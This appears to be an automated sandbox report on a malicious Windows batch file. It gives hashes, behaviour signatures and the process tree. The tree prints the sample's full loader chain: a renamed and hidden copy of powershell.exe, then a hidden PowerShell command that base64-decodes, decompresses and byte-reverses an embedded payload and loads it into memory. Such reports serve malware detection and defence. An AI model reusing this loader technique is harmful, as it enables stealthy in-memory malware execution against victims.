Analysis

  • max time kernel
    120s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240611-en
  • resource tags

    arch:x64arch:x86image:win7-20240611-enlocale:en-usos:windows7-x64system
  • submitted
    18-06-2024 17:25

General

  • Target

    7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat

  • Size

    2.5MB

  • MD5

    0f66c9fac192e23ed8b27756a13c9a51

  • SHA1

    20ddad40148adbdd5d784b124acc33cdde097132

  • SHA256

    7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f

  • SHA512

    a5a14d3cb211d82d88fe6a9e20d9e31d904f469d53397c08d0ad5d0e33092309befd7b758823712412f0934212af69211fcd6f2e7f21fec9eb74e2949bc45335

  • SSDEEP

    49152:5an+rZc4d12wBdAyoxrHDJn514sMoV5HOIbTbfS:P

Score
8/10

Malware Config

Signatures

  • Sets file to hidden 1 TTPs 1 IoCs

    Modifies file attributes to stop it showing in Explorer etc.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 13 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1992
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo F "
      2⤵
        PID:2212
      • C:\Windows\system32\xcopy.exe
        xcopy /d /q /y /h /i C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
        2⤵
          PID:2208
        • C:\Windows\system32\attrib.exe
          attrib +s +h C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
          2⤵
          • Sets file to hidden
          • Views/modifies file attributes
          PID:1336
        • C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas
          C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas -WindowStyle hidden -command "$Nrmdm = Get-Content 'C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat' | select-object -Last 1; $Wjppsmckfpm = [System.Convert]::FromBase64String($Nrmdm);$Iceehfuhq = New-Object System.IO.MemoryStream( , $Wjppsmckfpm );$Ygqvnh = New-Object System.IO.MemoryStream;$Mzmtwv = New-Object System.IO.Compression.GzipStream $Iceehfuhq, ([IO.Compression.CompressionMode]::Decompress);$Mzmtwv.CopyTo( $Ygqvnh );$Mzmtwv.Close();$Iceehfuhq.Close();[byte[]] $Wjppsmckfpm = $Ygqvnh.ToArray();[Array]::Reverse($Wjppsmckfpm); $Hvxhaz = [System.Threading.Thread]::GetDomain().Load($Wjppsmckfpm); $Dccbj = $Hvxhaz.EntryPoint.DeclaringType.GetMethods()[0].Invoke($null, $null) | Out-Null"
          2⤵
          • Executes dropped EXE
          • Suspicious behavior: CmdExeWriteProcessMemorySpam
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2728

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\7a39624c0e6904b5b710ac5a8d76ba26d91d3603607bef80c62b28a4d693cf1f.bat.Nas

        Filesize

        442KB

        MD5

        92f44e405db16ac55d97e3bfe3b132fa

        SHA1

        04c5d2b4da9a0f3fa8a45702d4256cee42d8c48d

        SHA256

        6c05e11399b7e3c8ed31bae72014cf249c144a8f4a2c54a758eb2e6fad47aec7

        SHA512

        f7d85cfb42a4d859d10f1f06f663252be50b329fcf78a05bb75a263b55235bbf8adb89d732935b1325aaea848d0311ab283ffe72b19db93e6c28a859204fdf9f

      • memory/2728-5-0x0000000074B71000-0x0000000074B72000-memory.dmp

        Filesize

        4KB

      • memory/2728-6-0x0000000074B70000-0x000000007511B000-memory.dmp

        Filesize

        5.7MB

      • memory/2728-7-0x0000000074B70000-0x000000007511B000-memory.dmp

        Filesize

        5.7MB

      • memory/2728-8-0x0000000074B70000-0x000000007511B000-memory.dmp

        Filesize

        5.7MB

      • memory/2728-9-0x0000000074B70000-0x000000007511B000-memory.dmp

        Filesize

        5.7MB

      • memory/2728-10-0x0000000074B70000-0x000000007511B000-memory.dmp

        Filesize

        5.7MB